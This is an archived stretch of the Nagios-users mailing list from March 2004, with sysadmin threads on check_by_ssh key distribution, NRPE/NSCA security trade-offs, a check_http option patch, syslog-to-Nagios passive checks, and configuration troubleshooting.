https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Sun Mar 21 22:28:11 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Sun, 21 Mar 2004 16:28:11 -0500 Subject: check by ssh In-Reply-To: <20040321200351.45095.qmail@restricted.dyndns.org> References: <20040321200351.45095.qmail@restricted.dyndns.org> Message-ID: <20040321162811.7c89c4ab.karl@debisschop.net> On Sun, 21 Mar 2004 14:03:51 -0600 "Neil" wrote: > Hey guys, > > I would like to use check_by_ssh to gather information from a remote > ssh unix server. I know how to generate keys using ssh-keygen and > applying the pub file to the remote. However, I don't like doing this > over and over again for 100 different unix servers. Is there a way for > us to use check_by_ssh plugin where in we can supply the username and > password on the command line? Build your own. I do not wish to distribute insecure plugins with my name attached. > I know the security loophole of this config but it will make my life > easier. Do what you want to the code we provide - it is GPL. Just do not expect it to be integrated in the mian distribution, unless I am clearly over-ruled by the other developers on the issue. Or propose a more scalable solution that is secure. -- Karl ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 22 00:34:45 2004 From: pla at softflare.com (Paul L. Allen) Date: Sun, 21 Mar 2004 23:34:45 +0000 Subject: check by ssh In-Reply-To: <20040321200351.45095.qmail@restricted.dyndns.org> References: <20040321200351.45095.qmail@restricted.dyndns.org> Message-ID: <20040321233445.5861.qmail@minnow.softflare.net> Neil writes: > Is there a way for us to use check_by_ssh plugin where in we can supply > the username and password on the command line? Yes. First you hack the open_ssh source to accept a password passed as a parameter. Open_ssh as it stands neither accepts a password as a parameter nor permits the sort of trickery that you can do with echo | passwd -stdin. In fact, open_ssh goes to some pain to make sure there is no way of handing it the password from a shell script short of hacking the open_ssh source. Once you've hacked the open_ssh source, you then hack the check_by_ssh plugin to match. Then you can pass the password to your hacked check_by_ssh and any unprivileged user on your machine can see the password by using ps axfwwwwwww (or moral equivalent on different flavours of *nix). And then, each time open_ssh or check_by_ssh are upgraded, you have to re-apply your patches because there's no way they'll ever be integrated into the mainstream sources because what you want to do is a major security hole. All of which seems a lot harder to me than just copying the public key over and setting ownerships and permissions. After all, you have to get the plugins onto the target machine and build them, you have to create a nagios user on the target machine and you have to create a .ssh directory under ~nagios. The amount of time you'd save by not having to copy the public key over is trivial. Hint: you might want to think about building your own little tarball that contains the plugin sources and the public key and creating a little shell script that build the plugins, creates the nagios user, moves the public key to the right place, sets ownerships and permissions, etc. If you want a clever shell script that can pick up correctly from an aborted run then it gets rather complicated. If you want a simple shell script that will do the install on a clean machine and works 99% of the time (if it goes wrong you have to tidy up after it) then it's simple. A lot simpler than hacking open_ssh and check_by_ssh. A lot more secure, too. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Mon Mar 22 02:21:12 2004 From: pla at softflare.com (Paul L. Allen) Date: Mon, 22 Mar 2004 01:21:12 +0000 Subject: Distributed monitoring vs nrpe In-Reply-To: References: Message-ID: <20040322012112.21356.qmail@minnow.softflare.net> James Bowes writes: > 1. Is the plugin checking for nrpe safe and secure? Depends what you mean by "safe and secure." The traffic is encrypted, so eavesdroppers cannot read the results. However, unless you use tcpwrappers to allow access only from trusted hosts, ANYONE can submit queries and/or run DoS attacks. > 2. Is a distributed server the best way to handle things? That depends very much on your precise circumstances. Check_nrpe works well provided your monitoring host has a fixed IP (or else you cannot block outsiders using tcpwrappers) otherwise it is insecure. Check_nrpe also has problems with monitored hosts unless you have a dynamic DNS solution. Check_nsca is more secure than check_nrpe since an explicit password has to be set, but unless the monitoring host has fixed IP or a sensible dynamic DNS solution it won't work. Check_by_ssh works (but is a bit of a pain to configure) provided your monitored hosts have fixed IP or a sensible dynamic DNS solution. However, check_by_ssh will leave a lot of hanging processes at both ends if there are problems. You can also use VPNs, but these too have problems with security, reliability, recovery from outages, coping with IPs that change, etc. PPTP is insecure but copes well with outages. VTUND is secure but copes badly with outages and tunnels TCP over TCP so you get exponential backoffs (double-plus ungood). IPSEC with the Cisco extensions to deal with outages is probably secure (the spec is too obfuscated to ever be sure) and appears to cope sennsibly with outages. There is NO "one size fits all" solution to this problem. For various reasons, I prefer NCSA over NRPE, but that's what happens to best fit my needs. I started with NRPE, realized that it didn't fit my needs, switched to check_by_ssh, realized it almost fitted my needs, switched to NCSA. But no two situations are alike, and I can envisage a setup with a mix of all those solutions. You'll just have to suck it and see... -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From benny at bennyvision.com Mon Mar 22 02:33:27 2004 From: benny at bennyvision.com (C. Bensend) Date: Sun, 21 Mar 2004 19:33:27 -0600 (CST) Subject: check by ssh In-Reply-To: <20040321200351.45095.qmail@restricted.dyndns.org> References: <20040321200351.45095.qmail@restricted.dyndns.org> Message-ID: <51396.63.227.74.41.1079919229.squirrel@webmail.stinkweasel.net> > I would like to use check_by_ssh to gather information from a remote ssh > unix server. I know how to generate keys using ssh-keygen and applying the > pub file to the remote. However, I don't like doing this over and over > again > for 100 different unix servers. Is there a way for us to use check_by_ssh > plugin where in we can supply the username and password on the command > line? No such beast, and I'm kind of happy about that. I think you're looking at the wrong idea - you don't have to run ssh-keygen on the client machines you're testing, you only need to make sure the nagios user's public key is distributed. SURELY with 100 different UNIX servers you have tools to automatically push files / config changes... Use those tools to push a copy of authorized_keys2 to all the client machines, and yay, you're done. Hell something like this should work in a pinch (not tested, but should be a piece of cake to fix if it doesn't work): for foo in `cat server-list`; do scp authorized_keys2 nagios@$foo:.ssh/ ssh nagios@$foo chmod 0600 .ssh/authorized_keys2 done Benny -- "Ohhh, it's like I'm walking on a pile of baby ducks!" -- Red, "That 70's Show" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From neil-on-nagios at restricted.dyndns.org Mon Mar 22 04:05:22 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Sun, 21 Mar 2004 21:05:22 -0600 Subject: check by ssh In-Reply-To: <51396.63.227.74.41.1079919229.squirrel@webmail.stinkweasel.net> References: <20040321200351.45095.qmail@restricted.dyndns.org> <51396.63.227.74.41.1079919229.squirrel@webmail.stinkweasel.net> Message-ID: <20040322030522.75749.qmail@restricted.dyndns.org> C. Bensend writes: > No such beast, and I'm kind of happy about that. > > I think you're looking at the wrong idea - you don't have to run ssh-keygen > on the client machines you're testing, you only need to make sure the nagios > user's public key is distributed. > > SURELY with 100 different UNIX servers you have tools to automatically > push files / config changes... Use those tools to push a copy of > authorized_keys2 to all the client machines, and yay, you're done. > > Hell something like this should work in a pinch (not tested, but should > be a piece of cake to fix if it doesn't work): > > for foo in `cat server-list`; do > scp authorized_keys2 nagios@$foo:.ssh/ > ssh nagios@$foo chmod 0600 .ssh/authorized_keys2 > done I did get your idea but I guess, when creating keys, it's really tide in to a username on the remote ssh server. This is going to be one big hurdle too. I'd have to fill out a form for a access request so they can create a single user account on each of the servers I will request. But anyways, I'll just follow what you guys recommended. Thanks again. Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jrhett at isite.net Mon Mar 22 05:58:11 2004 From: jrhett at isite.net (Joe Rhett) Date: Sun, 21 Mar 2004 20:58:11 -0800 Subject: --url option dumps core in check_http ; patch included Message-ID: <20040322045811.GC29156@isite.net> Nasty little bug in the options checking -- the long form does not work. anubis 10% /opt/nagios/libexec/check_http -H www.test.com --string=Test --url=/test.html /opt/nagios/libexec/check_http: unrecognized option `--url=/test.html' Segmentation fault (core dumped) anubis 11% /opt/nagios/libexec/check_http -H www.test.com --string=Test -u /test.html HTTP ok: HTTP/1.1 200 OK - 0.139 second response time |time= 0.139 The patch is simple -- the long form was never mapped to the short form. *** plugins/check_http.c_orig Sun Mar 21 20:52:20 2004 --- plugins/check_http.c Sun Mar 21 20:55:17 2004 *************** *** 304,309 **** --- 304,310 ---- {"verbose", no_argument, 0, 'v'}, {"post", required_argument, 0, 'P'}, {"IP-address", required_argument, 0, 'I'}, + {"url", required_argument, 0, 'u'}, {"string", required_argument, 0, 's'}, {"regex", required_argument, 0, 'r'}, {"ereg", required_argument, 0, 'r'}, -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From Ton.Voon at egg.com Mon Mar 22 08:35:58 2004 From: Ton.Voon at egg.com (Voon, Ton) Date: Mon, 22 Mar 2004 07:35:58 -0000 Subject: --url option dumps core in check_http ; patch included Message-ID: Joe, Thanks for the patch. Applied to CVS HEAD and r1.3.0 branch. Ton -----Original Message----- From: Joe Rhett [mailto:jrhett at isite.net] Sent: Monday, March 22, 2004 4:58 AM To: nagios-devel at lists.sourceforge.net Cc: nagios-users at lists.sourceforge.net Subject: [Nagios-devel] --url option dumps core in check_http ; patch included Nasty little bug in the options checking -- the long form does not work. anubis 10% /opt/nagios/libexec/check_http -H www.test.com --string=Test --url=/test.html /opt/nagios/libexec/check_http: unrecognized option `--url=/test.html' Segmentation fault (core dumped) anubis 11% /opt/nagios/libexec/check_http -H www.test.com --string=Test -u /test.html HTTP ok: HTTP/1.1 200 OK - 0.139 second response time |time= 0.139 The patch is simple -- the long form was never mapped to the short form. *** plugins/check_http.c_orig Sun Mar 21 20:52:20 2004 --- plugins/check_http.c Sun Mar 21 20:55:17 2004 *************** *** 304,309 **** --- 304,310 ---- {"verbose", no_argument, 0, 'v'}, {"post", required_argument, 0, 'P'}, {"IP-address", required_argument, 0, 'I'}, + {"url", required_argument, 0, 'u'}, {"string", required_argument, 0, 's'}, {"regex", required_argument, 0, 'r'}, {"ereg", required_argument, 0, 'r'}, -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-devel mailing list Nagios-devel at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-devel This private and confidential e-mail has been sent to you by Egg. The Egg group of companies includes Egg Banking plc (registered no. 2999842), Egg Financial Products Ltd (registered no. 3319027) and Egg Investments Ltd (registered no. 3403963) which is authorised and regulated by the Financial Services Authority. Egg Investments Ltd. is entered in the FSA register under number 190518. Registered in England and Wales. Registered offices: 1 Waterhouse Square, 138-142 Holborn, London EC1N 2NA. If you are not the intended recipient of this e-mail and have received it in error, please notify the sender by replying with 'received in error' as the subject and then delete it from your mailbox. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click From jim.mozley at exponential-e.com Mon Mar 22 11:07:27 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Mon, 22 Mar 2004 10:07:27 +0000 Subject: System Log monitoring with nagios? In-Reply-To: <405B6CDC.3090204@bofus.org> References: <405B6CDC.3090204@bofus.org> Message-ID: <405EBADF.4090204@exponential-e.com> Jeffery P. Humes wrote: > What is everyone out there doing for system log monitoring with Nagios. > > I am just looking to monitor the normal logs for regex and report the > stuff I want. A check of the archives should find submissions from myself and (even better) Stanley Hopcroft regarding this. In summary, apart from using the syslog monitoring plugins one can use SEC/swatch or similar to watch the log file(s) and then a script to pass events of interest into Nagios as passive checks. From a previous post (in thread "check_log not working properly"): The following is a setup for using syslog-ng, swatch and a script to pass passive events into Nagios. This is based on getting syslog messages from a set of network devices, although the same principle would apply to hosts. I've tried to make the example fairly generic, for instance we generate the nagios config for this automatically from device configurations, so please don't copy/paste this without understanding what's going on. 1. Define services in Nagios. For instance if you want to monitor MPLS messages for each network device define an MPLS service as below. #Service definition template define service{ name mpls-service-template active_checks_enabled no passive_checks_enabled 1 parallelize_check 1 obsess_over_service 0 check_freshness 0 freshness_threshold 28800 notifications_enabled 1 event_handler_enabled 1 flap_detection_enabled 1 process_perf_data 1 retain_status_information 1 retain_nonstatus_information 1 register 0 is_volatile 1 check_period none max_check_attempts 1 normal_check_interval 5 retry_check_interval 1 contact_groups network-admins notification_interval 120 notification_period 24x7 notification_options w,c,r } define service{ use mpls-service-template ; template host_name host1 service_description mpls check_command "" } 2. Configure syslog-ng. Once you have got your config file ready you will need to disable the native syslog daemon and start syslog-ng. syslog-ng config; this is for Solaris the source may need to change for linux/BSD: options { keep_hostname(off); long_hostnames(off); sync(1); log_fifo_size(2048); bad_hostname("%"); }; source all { sun-stream("/dev/log" door("/etc/.syslog_door")); internal(); udp(); }; # Put each day's log in a separate file within a directory for # each host. destination d_hosts { file("/var/log/hosts/$HOST/$HOST-$YEAR$MONTH$DAY" owner(root) group(syslog) perm(0660) dir_perm(0750) create_dirs(yes)); }; # To send messages to swatch destination d_swatch { program("/usr/local/bin/swatch --config-file=/etc/swatchrc --read-pipe=\ "cat /dev/fd/0\""); }; # log all messages in a directory per host log { source(all); destination(d_hosts); }; # send all logs to swatch log { source(all); destination(d_swatch); }; 3. Install and configure swatch. Sample line from swatchrc watchfor /pattern-i-want-to-match/ exec /path/to/my/script.pl $* So for instance if you are looking out for MPLS messages and your devices include "MPLS" in these syslog message match the pattern /MPLS/ 4. Create the script This should build a passive command based on the contents of the syslog message. For instance it might contain element such as: if ( $syslogmsg =~ /down/ ) { $nagios_code = 2; # Critical } You will need to extract the hostname from the syslog message (and possibly the service unless this is hardcoded - it is in this example). In the end you want to build a message such as: my $cmd = "[$epoch] PROCESS_SERVICE_CHECK_RESULT;$host;$service;$nagios_code;$msg"; And fire it into nagios: my $echo = '/usr/bin/echo'; my $pipe = '/usr/local/nagios/var/rw/nagios.cmd'; system "$echo \"$cmd\" >> $pipe"; (As an aside I tried the perl way of doing this rather than a system command and had a problem on Solaris I couldn't resolve.) I would recommend you take a look at Al Toby's module on CPAN for passing commands to Nagios. There are also some shell script examples of passing Nagios commands supplied with the distribution. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Mon Mar 22 12:29:27 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Mon, 22 Mar 2004 11:29:27 +0000 Subject: nagios does not read .cfg files In-Reply-To: <1079795053.9788.17.camel@pitc> References: <1079789615.9788.11.camel@pitc> <405C4FB6.7030907@bofus.org> <1079795053.9788.17.camel@pitc> Message-ID: <405ECE17.7000103@exponential-e.com> Peter McAlpine wrote: >>># OBJECT CONFIGURATION FILE(S) >>># This is the configuration file in which you define hosts, host >>># groups, contacts, contact groups, services, etc. I guess it would >>># be better called an object definition file, but for historical >>># reasons it isn't. You can split object definitions into several >>># different config files by using multiple cfg_file statements here. >>># Nagios will read and process all the config files you define. >>># This can be very useful if you want to keep command definitions >>># separate from host and contact definitions... >>> >>># Plugin commands (service and host check commands) >>># Arguments are likely to change between different releases of the >>># plugins, so you should use the same config file provided with the >>># plugin release rather than the one provided with Nagios. >>>cfg_file=/etc/nagios/checkcommands.cfg >>> >>># Misc commands (notification and event handler commands, etc) >>>cfg_file=/etc/nagios/misccommands.cfg >>> >>># You can split other types of object definitions across several >>># config files if you wish (as done here), or keep them all in a >>># single config file. >>> >>>cfg_file=/etc/nagios/services.cfg >>>cfg_file=/etc/nagios/contactgroups.cfg >>>cfg_file=/etc/nagios/contacts.cfg >>>cfg_file=/etc/nagios/hostgroups.cfg >>>cfg_file=/etc/nagios/hosts.cfg >>>cfg_file=/etc/nagios/timeperiods.cfg I assume the config files above exist and are populated with reasonable data? Your nagios -v output seemed to indicate 0 hosts, contact groups, etc. You could change the cfg_file definitions in nagios.cfg or use the cfg_dir command to point at the directory with your config files in them e.g. cfg_dir=/usr/local/nagios/etc Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mail at rune-z.dk Mon Mar 22 14:22:48 2004 From: mail at rune-z.dk (Rune Zimmermann) Date: Mon, 22 Mar 2004 14:22:48 +0100 (CET) Subject: Statistics and MySql Message-ID: <17682.212.88.93.235.1079961768.squirrel@212.88.93.235> Hi Users. I am using Nagios ver. 1.2 with MySql support. I am, among other tings, monitoring around 50 Kyocera printers via SNMP. Toner level, page jam, status and page count. I would like to make some statistics from the information I get. More specific a monthly count of pages pr. printer, and an average for all printers. Unfortunately Nagios dosn't seem to be storing this information in clear text in MySql. Only printing it on the screen. Is that right? The "plugin_output" in the "servicestatus" table is binary. Has anyone any idear on how to get around this problem? Thanks. Regards Rune Zimmermann ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From philippe.lebreton at cti-paysloire.cnamts.fr Mon Mar 22 15:41:13 2004 From: philippe.lebreton at cti-paysloire.cnamts.fr (LEBRETON Philippe) Date: Mon, 22 Mar 2004 15:41:13 +0100 Subject: why NRPE can't run whit root user ? Message-ID: <405EFB09.2050307@cti-paysloire.cnamts.fr> hello, I want to run NRPE with the root user but it is impossible. I want to run NRPE with the root user because, i write some somme plugin that can only work with this user. My question is : how i can exec this plugin with a root rights? thanks Philippe LEBRETON ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Daniel.Mesimer at med.va.gov Mon Mar 22 15:26:46 2004 From: Daniel.Mesimer at med.va.gov (Mesimer, Daniel J.) Date: Mon, 22 Mar 2004 06:26:46 -0800 Subject: Nagios, MySQL, and Embedded Pearl Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22DED@VHAKANEXC1> All, I have compiled and installed Nagios with MySQL support for everything but extinfo and now it seems that *sometimes* Nagios can't pick up status information on any of the services (currently I only have 2 hosts configured) and therefore does not display any information or tells me I don't have permission (authentication is turned off right now). Should I have compiled Nagios with embedded pearl? Would this help out? I was thinking that it was having issues getting the status data out from the DB in a timely manner. Thanks, Dan Mesimer Kansas City VA Medical Center Network Support -------------- next part -------------- An HTML attachment was scrubbed... URL: From Daniel.Mesimer at med.va.gov Mon Mar 22 15:22:44 2004 From: Daniel.Mesimer at med.va.gov (Mesimer, Daniel J.) Date: Mon, 22 Mar 2004 06:22:44 -0800 Subject: Nagios Process Message-ID: <707BC118BC44D3118E3B0000F81F1E7603F22DEC@VHAKANEXC1> Sean/All, I went ahead and replaced the 'check_nagios' binary with the Denao script, and it seems to have "sort of" worked. I now have: Process Status: UNKNOWN & Nagios check command did not return any output. Is there some change I need to make to the script? Dan Mesimer Kansas City VA Medical Center Network Support -----Original Message----- From: Sean J. Schluntz [mailto:schluntz at workofstone.com] Sent: Friday, March 19, 2004 3:37 PM To: Mesimer, Daniel J. Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Nagios Process I had the same problem until I replaced the check_nagios binary with the script by Denao which looks at the database for status instead of the flat file. I can't locate the original, but would be happy to forward you my copy. -Sean On Mar 19, 2004, at 1:07 PM, Mesimer, Daniel J. wrote: > Anyone who can shed some light, > > I have installed Nagios version 1.2 and have everything pretty much up > and > running OK. > I compiled it to use a MySQL backend (and I am not too experienced with > this) > > But I have the following issue: > > When viewing "Process Info", it states that the Nagios process is not > running (but it is) and gives "Error: Cannot open status log for > reading!" > > I am very confused by this, any help would be greatly appreciated or > pointers to some more documentation. > > Thanks, > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From schluntz at workofstone.com Mon Mar 22 16:00:29 2004 From: schluntz at workofstone.com (Sean J. Schluntz) Date: Mon, 22 Mar 2004 07:00:29 -0800 Subject: Nagios Process In-Reply-To: <707BC118BC44D3118E3B0000F81F1E7603F22DEC@VHAKANEXC1> References: <707BC118BC44D3118E3B0000F81F1E7603F22DEC@VHAKANEXC1> Message-ID: Did you change the MySQL username and password in the beginning of the script? Try running it by hand and see if you get any error output (I found the version I had couldn't properly handle an empty status table and I had to put in a return test to keep it from trying to do an empty compare. -Sean On Mar 22, 2004, at 6:22 AM, Mesimer, Daniel J. wrote: > Sean/All, > > I went ahead and replaced the 'check_nagios' binary with the Denao > script, > and it seems to have "sort of" worked. I now have: Process Status: > UNKNOWN & Nagios check command did not return any output. > > Is there some change I need to make to the script? > > Dan Mesimer > Kansas City VA Medical Center > Network Support > > > -----Original Message----- > From: Sean J. Schluntz [mailto:schluntz at workofstone.com] > Sent: Friday, March 19, 2004 3:37 PM > To: Mesimer, Daniel J. > Cc: nagios-users at lists.sourceforge.net > Subject: Re: [Nagios-users] Nagios Process > > > I had the same problem until I replaced the check_nagios binary with > the script by Denao which looks at the database for status instead of > the flat file. I can't locate the original, but would be happy to > forward you my copy. > > -Sean > > On Mar 19, 2004, at 1:07 PM, Mesimer, Daniel J. wrote: > >> Anyone who can shed some light, >> >> I have installed Nagios version 1.2 and have everything pretty much up >> and >> running OK. >> I compiled it to use a MySQL backend (and I am not too experienced >> with >> this) >> >> But I have the following issue: >> >> When viewing "Process Info", it states that the Nagios process is not >> running (but it is) and gives "Error: Cannot open status log for >> reading!" >> >> I am very confused by this, any help would be greatly appreciated or >> pointers to some more documentation. >> >> Thanks, >> >> Dan Mesimer >> Kansas City VA Medical Center >> Network Support >> >> >> >> ------------------------------------------------------- >> This SF.Net email is sponsored by: IBM Linux Tutorials >> Free Linux tutorial presented by Daniel Robbins, President and CEO of >> GenToo technologies. Learn everything from fundamentals to system >> administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >> _______________________________________________ >> Nagios-users mailing list >> Nagios-users at lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/nagios-users >> ::: Please include Nagios version, plugin version (-v) and OS when >> reporting any issue. >> ::: Messages without supporting info will risk being sent to /dev/null >> >> >> > --- > Sean J. Schluntz > 510-264-1785 > Sr. Security Consultant Work of > Stone > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo > technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting > any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > --- Sean J. Schluntz 510-264-1785 Sr. Security Consultant Work of Stone ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ndressler at dinmar.com Mon Mar 22 15:03:54 2004 From: ndressler at dinmar.com (Norm Dressler) Date: Mon, 22 Mar 2004 10:03:54 -0400 Subject: Host assumed to be up? In-Reply-To: <17682.212.88.93.235.1079961768.squirrel@212.88.93.235> References: <17682.212.88.93.235.1079961768.squirrel@212.88.93.235> Message-ID: <27a84d861510c411a64afa4703fd86b8@fpott01.dinmar.com> In my Host Details view, even though a server is down, it's showing as green. The services are showing properly that the server is down. In the Status Information field it says "Host assumed to be up". I have check-host-alive assigned to every server. What am I missing? Norm ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From m.borsani at it.net Mon Mar 22 16:36:30 2004 From: m.borsani at it.net (Marco Borsani) Date: Mon, 22 Mar 2004 16:36:30 +0100 Subject: I: Reporting - Availability Message-ID: Hey Guys, did anyone met problems using the Availability CGI (about Reporting) with Nagios ? I have many hosts with 100% Time Undetermined. Many thanks Marco -------------- next part -------------- An HTML attachment was scrubbed... URL: From marc at ena.com Mon Mar 22 16:35:43 2004 From: marc at ena.com (Marc Powell) Date: Mon, 22 Mar 2004 09:35:43 -0600 Subject: why NRPE can't run whit root user ? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A36F@mismail2.ena.com> On Monday, March 22, 2004 8:41 AM, LEBRETON Philippe shared with us: > hello, > > I want to run NRPE with the root user but it is impossible. > I want to run NRPE with the root user because, i write some somme > plugin that can only work with this user. 